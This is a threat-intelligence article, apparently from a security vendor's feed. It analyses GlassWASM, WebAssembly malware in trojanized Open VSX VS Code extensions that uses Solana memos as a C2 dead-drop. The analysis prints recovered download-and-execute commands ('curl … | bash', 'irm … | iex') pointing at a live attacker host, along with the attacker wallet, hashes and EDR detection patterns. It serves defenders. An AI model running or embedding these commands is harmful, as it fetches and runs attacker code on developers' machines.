[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fmFi7lUbB0MplLL3hWPOfdQ9F6l2-DIQg-ttPW7XvPCU":3},{"article":4,"iocs":57},{"id":5,"title":6,"slug":7,"summary":8,"ai_summary":9,"brief":10,"full_text":11,"url":12,"image_url":13,"published_at":14,"ingested_at":15,"relevance_score":16,"entities":17,"category_id":31,"category":32,"article_tags":36},"2de9ce68-24e0-49a4-b609-d232ca7e2057","GlassWASM: WebAssembly Malware Found in Trojanized Open VSX Extensions","glasswasm-webassembly-malware-found-in-trojanized-open-vsx-extensions-126ff9","Socket’s Threat Research team discovered compiled WebAssembly malware embedded in trojanized code extensions for Visual Studio Code. At the time of publication, we identified the following affected package versions on the Open VSX marketplace: exargd\u002Fvsblack@0.0.1 noellee-doc\u002Fflint-debug@0.1.1 These extensions ship a WebAssembly payload behind a renamed TinyGo loader, and both auto-execute it on extension activation via an appended bootstrap that instantiates the module with go.run(). The fake-utility framing (a theme; a \"transaction hash\" debugger) is social-engineering cover; the debugger variant even themes its UI around blockchain \"transaction\" debugging to fit its crypto-targeting payload. snqpkebiwrxmoivl.wasm is a WebAssembly module compiled from Go with TinyGo for the js\u002Fwasm target, meaning it is designed to be loaded and executed by a JavaScript host. The WASM module contains no plaintext network indicators, URLs, or commands; every string of consequence is encrypted in the binary with a ChaCha20 cipher and reconstructed in memory only at runtime. This makes it difficult to detect by signatures simply using natural language or readable strings. Once deobfuscated, the module's purpose is unambiguous. It polls the Solana mainnet JSON-RPC API for transactions sent to an attacker-controlled wallet, reads the attacker's instructions out of the on-chain SPL Memo field, and uses that to build and execute an OS-specific download-and-execute command via Node's child_process. The Solana blockchain is used as a takedown-resistant command-and-control (C2) dead-drop: there is no hardcoded server to seize or sinkhole, and the operator can rotate second-stage infrastructure simply by posting a new transaction. This report documents the attack chain, including the live RPC endpoint, the watched wallet address, the memo program IDs, Command and Control, and the verbatim shell\u002FPowerShell payload templates which execute the next stage of malware. Due to significant overlap in tradecraft and targeted platforms, as well as some key shared artifacts, we attribute this campaign with medium confidence to the GlassWorm developer. However, the use of WebAssembly\u002FTinyGo ****as a stager suggests a new pivot to binary loading for obfuscation purposes. We have labeled this family “GlassWASM” to highlight this connection. Extension Impersonation # The two carriers are trojanized clones of legitimate, verified VS Code Marketplace extensions, re-published on the Open VSX registry under impersonated publisher namespaces. A single Open VSX account, zaitoona43 (GitHub UID 291961103, github[.]com\u002Fzaitoona43), uploaded both: ExarGD\u002Fvsblack@0.0.1 on 2026-06-09 and noellee-doc\u002Fflint-debug@0.1.1 on 2026-06-10. Zaitoona43’s Github account was only 3 days old at the time of publication: The originals are low-profile, long-dormant open source projects whose authors are unlikely to be monitoring Open VSX: ExarGD.vsblack is a black-background variant of the popular dunstontc.dark-plus-syntax theme, published to the VS Code Marketplace in July 2019 (repo github[.]com\u002FExarGD\u002FVSBlack-Theme, since renamed kainarchai\u002FVSBlack-Theme). noellee-doc.flint-debug is an academic Ethereum\u002FFlint smart-contract debugger by Noel Lee of Imperial College, published in June 2020 (repo github[.]com\u002Fnoellee\u002Fvscode-flint-debug). Each malicious clone reproduces its target's exact publisher ID, extension name, version string, description, README, and even the original author's GitHub repository links, then adds the ChaCha20-obfuscated WASM payload and an onStartupFinished activation hook that runs it. This is identity impersonation that exploits a cross-registry trust gap, not typosquatting. The publisher and extension names are identical to the originals. The VS Code Marketplace binds a publisher ID to a verified owner, so an attacker cannot re-use noellee-doc or ExarGD there; the genuine listings remain clean (noellee-doc.flint-debug v0.1.1 last updated June 2020; ExarGD.vsblack v0.0.1 from July 2019). Open VSX highlights zaitoona43 as the publisher of those identically named and identically versioned packages. But a developer who finds \"Flint Debug 0.1.1\" or \"VSBlack 0.0.1\" on Open VSX — the default registry for VSCodium, Gitpod, Cursor, Windsurf, and other VS Code forks — sees a name, version, description, and repo link that all match the trusted Marketplace listing. The targets are telling: the Flint debugger's blockchain \u002F \"transaction hash\" framing aligns with the payload's crypto-developer focus. We reported these packages and the malicious publisher to the Open VSX security team, who reacted quickly to remove them from the registry. .WASM File Metadata # SHA-256: 558b4f1d9a263c13756ab0126c09dd080c85ba405b29488e1c4e6aa68b554f1f SHA-1: 8ebac142e34a20c297d3ccaca7ee5d9ddd24fed4 MD5: 4e143876eeaf5e767a9971f603b0f13c Size: 824,552 bytes Format: WebAssembly MVP (v1), validates clean Toolchain: TinyGo → js\u002Fwasm target Functions: 478 (Code section) Data segments: 45 (uses bulk-memory DataCount) Obfuscation: ChaCha20 string encryption; debug\u002Fname section stripped Host required: JavaScript runtime (Node.js \u002F browser) via syscall\u002Fjs bridge The toolchain fingerprint is distinctive. The import table contains the TinyGo gojs bridge and the runtime tick functions, and the export table contains TinyGo's asyncify-based goroutine scheduler: # Imports (wasm-objdump -j Import -x) — 17 total wasi_snapshot_preview1.proc_exit wasi_snapshot_preview1.fd_write wasi_snapshot_preview1.random_get gojs.runtime.ticks gojs.runtime.sleepTicks gojs.syscall\u002Fjs.valueGet gojs.syscall\u002Fjs.valueCall gojs.syscall\u002Fjs.valueInvoke gojs.syscall\u002Fjs.valueNew gojs.syscall\u002Fjs.valueSet (+ valueSetIndex, valueIndex, valueLength, gojs.syscall\u002Fjs.stringVal stringVal, valuePrepareString, valueLoadString, finalizeRef) # Exports (wasm-objdump -j Export -x) _start, malloc, free, calloc, realloc, resume, go_scheduler, asyncify_start_unwind, asyncify_stop_rewind, asyncify_start_rewind, asyncify_stop_unwind, asyncify_get_state, ... The presence of the gojs.syscall\u002Fjs.* imports (rather than a pure WASI surface) is the key behavioral fact: this module cannot perform any I\u002FO on its own. It has no network or filesystem syscalls. Everything it does — fetching from the network, spawning processes — is delegated to the JavaScript host through valueCall \u002F valueInvoke \u002F valueNew. The .wasm is the obfuscated logic core; a loader script (the TinyGo wasm_exec.js glue plus an invocation shim) is the required other half. Obfuscation Analysis # The single most important static observation is what is missing. A full-file sweep for network indicators returns nothing: # All return ZERO hits against the raw .wasm: $ grep -a -c -F 'api.mainnet.solana.com' snqpkebiwrxmoivl.wasm # 0 $ grep -a -c -F '6ExrZayPZzMMSnszc42cH81DpuKT8FhCX9H6Sesn6rpz' snqpkebiwrxmoivl.wasm # 0 $ grep -a -c -F 'child_process' snqpkebiwrxmoivl.wasm # 0 $ grep -a -c -F 'execSync' snqpkebiwrxmoivl.wasm # 0 $ grep -a -c -F 'getSignaturesForAddress' snqpkebiwrxmoivl.wasm # 0 $ grep -oE 'https?:\u002F\u002F[^\"'\"'\"' ]+' snqpkebiwrxmoivl.wasm # (none) Yet the module clearly performs Solana RPC work — the Go reflection metadata that TinyGo leaves in the data section spells out structs that mirror Solana JSON-RPC response shapes verbatim: # Recovered from the Data section (Go struct field tags, plaintext): main.sigInfo { Signature `json:\"signature\"` Err `json:\"err\"` Memo `json:\"memo\"` BlockTime `json:\"blockTime\"` } main.txResp { Transaction `json:\"transaction\"` ... AccountKeys `json:\"accountKeys\"` Pubkey `json:\"pubkey\"` Signer `json:\"signer\"` Instructions `json:\"instructions\"` } main.parsedIns { Program `json:\"program\"` ProgramId `json:\"programId\"` Parsed `json:\"parsed\"` } # + meta.logMessages, meta.innerInstructions # + JSON-RPC envelope: result \u002F error \u002F code \u002F message The gap between \"parses Solana transactions\" and \"contains no URLs\" is bridged by an embedded cipher. The ChaCha20 key-schedule constant is present in the data section at memory offset 0x10000: $ grep -aboF 'expand 32-byte k' snqpkebiwrxmoivl.wasm # match at file offset 0xb8586 -> linear-memory address 0x10000 expand 32-byte k is the ChaCha\u002FSalsa sigma constant and is used by nothing else. Translating the module to C with wasm2c and locating the rotation-heavy function confirms a textbook ChaCha20 implementation — the canonical quarter-round with rotate-lefts of 16, 12, 8, 7, iterated for 20 rounds: \u002F\u002F wasm2c output, function w2c_..._f20 — the ChaCha20 block function a += b; d ^= a; d = ROTL(d, 16); c += d; b ^= c; b = ROTL(b, 12); a += b; d ^= a; d = ROTL(d, 8); c += d; b ^= c; b = ROTL(b, 7); \u002F\u002F ← ChaCha quarter-round \u002F\u002F ... looped while (counter │ │ getSignaturesForAddress(6ExrZayP…6rpz, {limit:50, before:…}) │ │ getTransaction(sig, {encoding:\"jsonParsed\", maxSupportedTxVersion}) │ │ Parse SPL Memo instruction → extract attacker-supplied C2 HOST │ │ (rate-limit aware: 429 \u002F \"too many\" \u002F retry-after) │ └───────────────┬────────────────────────────────────────────────────────────┘ │ HOST interpolated into platform template ┌───────────────▼────────────────────────────────────────────────────────────┐ │ 3. CROSS-PLATFORM DOWNLOAD-AND-EXECUTE (via Node child_process) │ │ darwin : curl -fsSL | bash │ │ linux : curl -fsSL | bash │ │ win32 : powershell -Command \"irm | iex\" │ │ run via require('child_process').execSync(cmd, { windowsHide:true }) │ └─────────────────────────────────────────────────────────────────────────--─┘ All Stage 2 and Stage 3 strings below were recovered by compiling the module with wasm2c, running it inside a harness that stubs every gojs\u002FWASI import as inert (no network, no filesystem, random_get → zeros, proc_exit → trap), bounding the goroutine scheduler with a watchdog, and dumping linear memory. The run halted exactly where expected — at the first real JS call — proving the Go-side logic executed: [fd_write fd=1] panic: syscall\u002Fjs: call of Value.Invoke on undefined [wasm trap caught] [memdump 393216 bytes -> \u002Ftmp\u002Fmemdump.bin] Stage 1 — TinyGo\u002FWebAssembly Packaging as an Evasion Layer # Compiling the payload logic to WebAssembly is itself the first evasion technique. npm malware scanners, linters, and human reviewers are overwhelmingly tuned for JavaScript and TypeScript source; a .wasm blob is opaque binary that most pipelines do not disassemble. By writing the logic in Go and shipping it as Wasm, the author moves the entire decision tree — the RPC client, the transaction parser, the command builder — out of inspectable script and into a 478-function binary with its symbol\u002Fname section stripped. # No custom name section — internal function names are gone. $ wasm-objdump -h snqpkebiwrxmoivl.wasm | grep -i custom # (nothing) # Only Go reflection metadata survives, which is what gave us the struct shapes. The module reaches the outside world exclusively through the syscall\u002Fjs bridge. In the recovered memory, the JavaScript property and method names it drives are visible as a cluster — this is the fetch-based HTTP client and the process-execution path, assembled at runtime: # Recovered from linear memory (absent from the static file): then catch method application\u002Fjson content-type headers body fetch status headers retry-after get text ← fetch() RPC client process platform require child_process execSync windowsHide ← process execution For defenders, the lesson is that WebAssembly in an npm package is a high-signal artifact in its own right. A package that ships a .wasm file and a small JS shim that instantiates it deserves the same scrutiny as a heavily obfuscated script. The gojs.syscall\u002Fjs.* import names are a reliable tell that a Wasm module is built to drive the host's JavaScript environment — including fetch, require, and child_process — rather than to do isolated computation. Stage 2 — Solana Blockchain as a C2 Dead-Drop # Rather than embedding a C2 domain, the module reads its marching orders off the public Solana blockchain. It issues a getSignaturesForAddress call against a hardcoded wallet, walks the returned signatures (with before-based pagination and a limit of 50), fetches each transaction with getTransaction, and reads the attacker's data out of the SPL Memo instruction attached to those transactions. The complete RPC request was recovered verbatim from memory: \u002F\u002F Recovered from linear memory — exact request body: {\"id\":1,\"jsonrpc\":\"2.0\",\"method\":\"getSignaturesForAddress\", \"params\":[\"6ExrZayPZzMMSnszc42cH81DpuKT8FhCX9H6Sesn6rpz\",{\"limit\":50}]} # Supporting strings recovered from memory: ← Solana mainnet JSON-RPC endpoint 6ExrZayPZzMMSnszc42cH81DpuKT8FhCX9H6Sesn6rpz ← attacker-controlled watched wallet getSignaturesForAddress getTransaction ← RPC methods jsonParsed encoding maxSupportedTransactionVersion limit before ← pagination rate too many retry-after ← HTTP 429 \u002F rate-limit handling # SPL Memo program IDs the parser looks for in each transaction's instructions: MemoSq4gqABAXKb96qnH8TysNcWxMyWCqXgDLGmfcHr ← SPL Memo program v2 Memo1UhkJRfHyvLMcVucJwxXeuD728EqVDDwQDxFM ← SPL Memo program v1 spl-memo \"Memo (len ...)\" The flow is: enumerate recent transactions to the watched wallet → identify the ones carrying a Memo instruction (matched against the two canonical SPL Memo program IDs) → extract the memo text. That memo text supplies the C2 host that is missing from the command templates (Stage 3), where the host slot is conspicuously empty (https:\u002F\u002F\u002Fdarwin\u002Fi\u002F_). To resolve the live instruction, we issued the module's own getSignaturesForAddress query against the public Solana RPC. The memo dead-drop is live and consistent across multiple transactions (the earliest was 2026-05-23): \u002F\u002F getSignaturesForAddress(6ExrZayP…6rpz) — selected results, 2026-06-11 { \"blockTime\": 1780564457, \"memo\": \"[9] dodod.lat\", \"signature\": \"3gpskPXVJ86xPEtVf1zUVvu278Nu46Hr6pt4veNkiq1AJWxSzKYDfj7zWEdanYaJWqe3C73Y6tcwyASv55vy6QQh\" } { \"blockTime\": 1779528144, \"memo\": \"[9] dodod.lat\", \"signature\": \"48FcSmKAbGkR4a359RDKrGGSMwC15CM3YeAkzZMpRpiCPDG2JjWUQEwp6gJKujbe3ZNp6B7NH8JCQnHRtm2FtFzo\" } { \"blockTime\": 1779522241, \"memo\": \"[9] dodod.lat\", \"signature\": \"jYqcqeRLt6VNvag6pwgjrknVRjABv4gw4shCi3PcKu8mKcJqpgTNMRDHKrKQSxvcNHeGqSCuPwt7SgMGjwbE1Tv\" } The [9] is the numeric length prefix the loader strips before consuming the payload (here, the 9-byte string dodod.lat); this [N] payload memo structure is the GlassWorm dead-drop signature. The resolved C2 host is therefore dodod[.]lat, yielding the live second-stage URLs https[:\u002F\u002F]dodod[.]lat\u002Fdarwin\u002Fi\u002F_, https[:\u002F\u002F]dodod[.]lat\u002Flinux\u002Fi\u002F_, and https[:\u002F\u002F]dodod[.]lat\u002Fwin32\u002Fi\u002F_. This architecture is deliberately resilient. The wallet address is the only fixed point, and it is not infrastructure an investigator can take down. To rotate second-stage servers, the operator signs a new transaction containing a new memo; every infected host picks up the new host on its next poll. Blocking the wallet is also awkward in practice because api.mainnet.solana.com is a legitimate, widely used public endpoint, and the traffic is ordinary HTTPS JSON-RPC that blends with any application that legitimately reads Solana state. For defenders, the high-value detections are: outbound JSON-RPC to Solana endpoints from a Node.js process that has no business reading the blockchain (especially getSignaturesForAddress immediately followed by getTransaction with jsonParsed); any code path that extracts SPL Memo instruction data and then feeds it into string formatting that ends in a shell; and the watched wallet address 6ExrZayPZzMMSnszc42cH81DpuKT8FhCX9H6Sesn6rpz appearing in process memory, logs, or captured traffic. Stage 3 — Cross-Platform Download-and-Execute via child_process # With the C2 host resolved from the on-chain memo, the module branches on process.platform and constructs an operating-system-specific download-and-execute command. All three templates were recovered verbatim; the empty \u002F\u002F is the placeholder where the memo-supplied host is interpolated: # Recovered command templates darwin : curl -fsSL https:\u002F\u002F\u002Fdarwin\u002Fi\u002F_ | bash linux : curl -fsSL https:\u002F\u002F\u002Flinux\u002Fi\u002F_ | bash win32 : powershell -Command \"irm https:\u002F\u002F\u002Fwin32\u002Fi\u002F_ | iex\" # Surrounding execution primitives recovered alongside them: process platform require child_process execSync windowsHide darwin linux win32 The pattern is a classic fileless loader: curl -fsSL … | bash on Unix-like systems and irm … | iex (Invoke-RestMethod piped to Invoke-Expression) on Windows both fetch a script over HTTPS and execute it directly in memory, with -fsSL\u002Firm chosen to stay quiet and follow redirects. Execution is performed through Node's require('child_process').execSync(...), and the recovered windowsHide token indicates the child process is spawned with the console window suppressed so the victim sees no flashing terminal. To confirm the end-to-end behavior with the live host interpolated, we ran the module under the original VS Code loader's TinyGo glue inside a capability-sandboxed globalThis: fetch returned the canned on-chain memo response (no real network) and require('child_process') was intercepted to log commands rather than execute them. The module performed the full chain — getSignaturesForAddress → getTransaction → memo parse → command build — and called execSync with the fully resolved command for each platform branch: [PLAT=darwin] execSync: curl -fsSL | bash opts={\"windowsHide\":true} [PLAT=linux ] execSync: curl -fsSL | bash opts={\"windowsHide\":true} [PLAT=win32 ] execSync: powershell -Command \"irm | iex\" opts={\"windowsHide\":true} Notably, windowsHide:true is passed on every platform, not just Windows. The URL structure — \u002F \u002Fi\u002F_ — confirms the operator serves a different second stage per operating system from the same host. Because the fetched second stage is delivered at runtime from an attacker-rotated host, its capability is open-ended: infostealer, wallet drainer, persistence module, or a further loader. The module itself does not need to contain any of that logic, which keeps the shipped .wasm small and behaviorally innocuous to static analysis. For defenders, the durable detections live at this stage and do not depend on the rotating host: a Node.js process spawning bash, sh, curl, or powershell; any child_process execution whose command line contains curl … | bash, irm … | iex, or Invoke-Expression; and process creation with window-hiding flags originating from a Node runtime. EDR telemetry on node → curl\u002Fpowershell parent-child relationships will catch this regardless of which C2 host the blockchain memo currently points to. At the time of analysis (2 days after package publication), the Command and Control server dodod[.]lat, located behind Cloudflare infrastructure, did not serve the next-stage payloads, so the attacker’s ultimate intent could not be confirmed. This could be due to detection or server-side victim gating. However, this is subject to change at any time, as is the C2 domain. Campaign Attribution # The tradecraft in this module overlaps significantly with the GlassWorm supply-chain campaign, which between roughly November 2025 and March 2026 compromised 400+ components across npm, the VS Code Marketplace, Open VSX, and GitHub. GlassWorm's defining innovation was the use of Solana transaction memos sent to a watched wallet as a takedown-resistant C2 dead-drop that resolves a rotating second-stage host, hidden behind encrypted, runtime-decrypted loaders. Three specifics tie this artifact to that family: Identical dead-drop mechanism. Poll a Solana RPC for signatures to a fixed wallet, read the Memo instruction, strip a numeric prefix, and use the remainder to resolve the next stage. Our recovered memo [9] dodod[.]lat exhibits the exact [N] payload format GlassWorm uses (a numeric length prefix the loader removes before consuming the payload). Runtime-decrypted loader. GlassWorm hides logic behind encrypted strings reconstructed only at runtime; this module does the same with an embedded ChaCha20 routine and ships zero plaintext IOCs. Infrastructure-rotation goal. The wallet is the only fixed point; the operator rotates staging hosts by posting new memos. GlassWorm reporting counted ~50 such memo-update transactions over the campaign. Open VSX delivery vector. GlassWorm's documented campaign abused the Open VSX registry — the default extension marketplace for VS Code forks (VSCodium, Cursor, Windsurf, Gitpod) — to distribute trojanized editor extensions via compromised or impersonated publisher accounts. This sample matches that vector exactly: a single account, zaitoona43, published identity-cloned trojanized extensions to Open VSX under impersonated namespaces (ExarGD, noellee-doc) on 2026-06-09\u002F10 (see Extension Impersonation), reusing the names, versions, and repo links of legitimate, verified VS Code Marketplace extensions. Two differences make this new campaign a distinct, previously undocumented variant: Implementation language. Public GlassWorm loaders were heavily obfuscated JavaScript (a WebSocket RAT) plus a .NET hardware-wallet phishing binary. This artifact is TinyGo-compiled WebAssembly — a markedly more evasive packaging choice that moves the entire decision tree out of inspectable script. Net-new indicators. The host dodod.lat, the wallet 6ExrZayPZzMMSnszc42cH81DpuKT8FhCX9H6Sesn6rpz, and the \u002F \u002Fi\u002F_ URL scheme do not appear in prior GlassWorm reporting, which listed IP-based C2 such as 45.32.150[.]251, 217.69.3[.]152\u002Fwall, and exfil host 45.150.34[.]158. This sample uses a domain-based host and an OS-segmented download path instead. Attribution is therefore assessed as GlassWorm-associated \u002F GlassWorm-derived tradecraft, with this specific WebAssembly variant and its infrastructure previously unreported. Treat dodod.lat and the watched wallet as fresh, actionable IOCs. Recommended Actions # Block and hunt for the host, wallet, and endpoint. Block and alert on the C2 host dodod.lat (and any https:\u002F\u002Fdodod.lat\u002F \u002Fi\u002F_ retrieval), the Solana wallet 6ExrZayPZzMMSnszc42cH81DpuKT8FhCX9H6Sesn6rpz, and getSignaturesForAddress\u002FgetTransaction JSON-RPC calls to api.mainnet.solana.com originating from Node.js processes that are not expected to read the blockchain. Note that the host rotates via new memos — re-resolve the wallet's latest memo periodically to track current infrastructure. Detect on the execution chain, not the C2 host. Deploy EDR rules for node spawning bash\u002Fsh\u002Fcurl\u002Fpowershell, and for command lines containing curl -fsSL … | bash or irm … | iex. These fire regardless of blockchain memo rotation. Treat shipped .wasm in npm packages as high-risk. Flag any package that includes a WebAssembly module plus a JS shim that instantiates it. Disassemble such modules; the gojs.syscall\u002Fjs.* import signature indicates a Wasm module built to drive the host's JS environment (fetch, require, child_process). Uninstall the trojanized extensions from Open VSX and VS Code forks, and hunt fleet-wide. The malicious builds were distributed via Open VSX, so prioritize editors that default to it — VSCodium, Cursor, Windsurf, Gitpod, and any VS Code instance configured to use Open VSX. Remove ExarGD.vsblack@0.0.1 and noellee-doc\u002Fflint-debug@0.1.1, and check ~\u002F.vscode\u002Fextensions, ~\u002F.vscode-oss\u002Fextensions, ~\u002F.cursor\u002Fextensions, ~\u002F.windsurf\u002Fextensions, and equivalents for these publisher\u002Fextension IDs and for any extension bundling a .wasm next to a renamed TinyGo loader. Crucially, the genuine VS Code Marketplace listings (ExarGD.vsblack, noellee-doc.flint-debug) are the clean 2019\u002F2020 originals and are not compromised — scope removal to the Open VSX copies and any install whose version was sourced from Open VSX. Any host that activated either extension should be treated as having executed the attacker's second stage. Roll potentially exposed secrets. On any host that executed this module, assume an unknown attacker-controlled second stage ran with the privileges of the Node process. Rotate developer, CI, cloud, and npm credentials reachable from that environment. Add Wasm-aware analysis to CI. Incorporate wasm2c\u002Fwabtbased extraction and string recovery into package-vetting pipelines so obfuscated WebAssembly payloads are deobfuscated and scanned rather than treated as opaque blobs. # Note: Network Indicators were resolved from the most recent Solana transaction memo at the time of publication. Affected Packages (Open VSX) vscode\u002Fexargd\u002Fvsblack@0.0.1 vscode\u002Fnoellee-doc\u002Fflint-debug@0.1.1 Threat Actor Accounts github[.]com\u002Fzaitoona43 File Hashes orybbbdsuqmaapel.wasm \u002F snqpkebiwrxmoivl.wasm SHA256**:** 558b4f1d9a263c13756ab0126c09dd080c85ba405b29488e1c4e6aa68b554f1f SHA1**:** 8ebac142e34a20c297d3ccaca7ee5d9ddd24fed4 MD5**:** 4e143876eeaf5e767a9971f603b0f13c noellee-doc.flint-debug-0.1.1.vsix SHA256: 3aa31999398e7f80231c03d7137ffdb554a84b83dbcffc59ce16c9a65f9e5d58 SHA1: c0ed7d575fe8085e942898c9a26f15992c895ba9 MD5: b262b8d2ac2f0ab3c78251db44ecf3ac exargd.vsblack-0.0.1.vsix SHA256: 1e283327ad048bea39f4a8501770858a20f3555e87fe3e202274f2e87f8a3c25 SHA1: 824e601b599b9ad97ee12f0b3a72efd20ba59d47 MD5: f595fb7867beb76b4deab53fa328e0a2 Network Indicators hxxps:\u002F\u002Fapi[.]mainnet[.]solana[.]com — Solana mainnet JSON-RPC endpoint used as C2 transport (DO NOT BLOCK) dodod[.]lat — resolved C2 \u002F second-stage host (as of 2026-06-11) hxxps:\u002F\u002Fdodod[.]lat\u002Fdarwin\u002Fi\u002F_ — macOS second-stage download URL hxxps:\u002F\u002Fdodod[.]lat\u002Flinux\u002Fi\u002F_ — Linux second-stage download URL hxxps:\u002F\u002Fdodod[.]lat\u002Fwin32\u002Fi\u002F_ — Windows second-stage download URL Blockchain \u002F C2 Indicators (runtime-only) 6ExrZayPZzMMSnszc42cH81DpuKT8FhCX9H6Sesn6rpz — attacker-controlled Solana wallet polled for instructions [9] dodod.lat — on-chain memo dead-drop payload (numeric-prefix [N] payload format) MemoSq4gqABAXKb96qnH8TysNcWxMyWCqXgDLGmfcHr — SPL Memo program v2, parsed for attacker payload Memo1UhkJRfHyvLMcVucJwxXeuD728EqVDDwQDxFM — SPL Memo program v1, parsed for attacker payload getSignaturesForAddress → getTransaction (jsonParsed) — RPC call sequence used to read the dead-drop Command Execution Artifacts (runtime-only) curl -fsSL hxxps:\u002F\u002Fdodod[.]lat\u002F \u002Fi\u002F_ | bash — Unix download-and-execute via child_process.execSync powershell -Command \"irm hxxps:\u002F\u002Fdodod[.]lat\u002Fwin32\u002Fi\u002F_ | iex\" — Windows fileless download-and-execute require('child_process') + execSync + windowsHide — process-spawn primitives (console hidden on Windows)","Researchers discovered WebAssembly malware, dubbed GlassWASM, embedded in trojanized VS Code extensions distributed via the Open VSX marketplace. The malware uses Solana blockchain transactions as a takedown-resistant C2 channel and executes cross-platform download-and-execute commands. The campaign is attributed with medium confidence to the GlassWorm developer due to overlapping tradecraft.","WebAssembly malware found in trojanized VS Code extensions on Open VSX marketplace.","Research\u002FSecurity NewsMini Shai-Hulud, Miasma, and Hades Worms Target Bioinformatics and MCP Developers via Malicious PyPI WheelsNewer packages in this compromise use native extensions and .pth loaders to execute JavaScript stealers in developer environments.By Kirill Boychenko - Jun 08, 2026","https:\u002F\u002Fsocket.dev\u002Fblog\u002Fglasswasm-malware-open-vsx-extensions?utm_medium=feed","https:\u002F\u002Fcdn.sanity.io\u002Fimages\u002Fcgdhsj6q\u002Fproduction\u002F9fa950f735946e3c448b12fe58bb41261da0efdf-1672x941.png?w=1000&q=95&fit=max&auto=format","2026-06-15T21:30:37.164+00:00","2026-06-16T02:00:18.205769+00:00",9,[18,21,24,27,29],{"name":19,"type":20},"GlassWorm","threat_actor",{"name":22,"type":23},"Visual Studio Code","product",{"name":25,"type":26},"WebAssembly","technology",{"name":28,"type":26},"Solana",{"name":30,"type":23},"Open VSX marketplace","89f78b1c-3503-45a1-9fc7-e23d2ce1c6d5",{"id":31,"icon":33,"name":34,"slug":35},null,"Malware","malware",[37,42,47,52],{"category":38},{"id":39,"icon":33,"name":40,"slug":41},"26b0b636-0e31-4db1-bffb-61bdf9f20a58","Supply Chain","supply-chain",{"category":43},{"id":44,"icon":33,"name":45,"slug":46},"6cbdd207-aaa1-4176-9534-e156b125e917","Nation-state","nation-state",{"category":48},{"id":49,"icon":33,"name":50,"slug":51},"ade75414-7914-4e23-a450-48b64546ee70","Open Source","open-source",{"category":53},{"id":54,"icon":33,"name":55,"slug":56},"e7b231c8-5f79-4465-8d38-1ef13aea5a14","Threat Intelligence","threat-intelligence",[58,62,66,69,72,75,78,82,86],{"type":59,"value":60,"context":61},"url","https:\u002F\u002Fapi.mainnet.solana.com","Solana mainnet JSON-RPC endpoint used as C2 transport",{"type":63,"value":64,"context":65},"domain","dodod.lat","Resolved C2 \u002F second-stage host",{"type":59,"value":67,"context":68},"https:\u002F\u002Fdodod.lat\u002Fdarwin\u002Fi\u002F_","macOS second-stage download URL",{"type":59,"value":70,"context":71},"https:\u002F\u002Fdodod.lat\u002Flinux\u002Fi\u002F_","Linux second-stage download URL",{"type":59,"value":73,"context":74},"https:\u002F\u002Fdodod.lat\u002Fwin32\u002Fi\u002F_","Windows second-stage download URL",{"type":35,"value":76,"context":77},"GlassWASM","Name for the WebAssembly malware family",{"type":79,"value":80,"context":81},"hash_sha256","558b4f1d9a263c13756ab0126c09dd080c85ba405b29488e1c4e6aa68b554f1f","SHA256 hash of the WebAssembly payload",{"type":83,"value":84,"context":85},"hash_sha1","8ebac142e34a20c297d3ccaca7ee5d9ddd24fed4","SHA1 hash of the WebAssembly payload",{"type":87,"value":88,"context":89},"hash_md5","4e143876eeaf5e767a9971f603b0f13c","MD5 hash of the WebAssembly payload"]